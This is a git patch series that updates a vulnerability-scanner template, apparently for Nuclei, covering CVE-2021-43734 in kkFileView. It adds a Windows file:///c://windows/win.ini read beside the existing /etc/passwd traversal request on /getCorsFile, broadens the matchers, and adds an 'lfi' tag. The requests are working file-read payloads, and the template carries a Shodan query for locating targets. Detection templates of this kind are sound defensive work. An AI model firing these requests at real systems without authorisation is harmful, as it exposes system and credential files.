From 3cb432b57f3e50cd4c74ab0aa328ecbea45af6f7 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Fri, 16 Dec 2022 02:12:07 +0530 Subject: [PATCH 1/2] windows-path --- cves/2021/CVE-2021-43734.yaml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/cves/2021/CVE-2021-43734.yaml b/cves/2021/CVE-2021-43734.yaml index e8347c9cb5..48198c892f 100644 --- a/cves/2021/CVE-2021-43734.yaml +++ b/cves/2021/CVE-2021-43734.yaml @@ -23,12 +23,16 @@ requests: - method: GET path: - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd" + - "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini" + stop-at-first-match: true matchers-condition: and matchers: - type: regex regex: - - "root:[x*]:0:0" + - "root:.*:0:0:" + - "for 16-bit app support" + condition: or - type: status status: From 16ad21a7ea453e30a09d36c396844ef64e168d93 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 16 Dec 2022 02:20:22 +0530 Subject: [PATCH 2/2] tag added --- cves/2021/CVE-2021-43734.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cves/2021/CVE-2021-43734.yaml b/cves/2021/CVE-2021-43734.yaml index 48198c892f..171404f3ef 100644 --- a/cves/2021/CVE-2021-43734.yaml +++ b/cves/2021/CVE-2021-43734.yaml @@ -17,7 +17,7 @@ info: metadata: shodan-query: http.html:"kkFileView" verified: "true" - tags: cve,cve2021,kkfileview,traversal + tags: cve,cve2021,kkfileview,traversal,lfi requests: - method: GET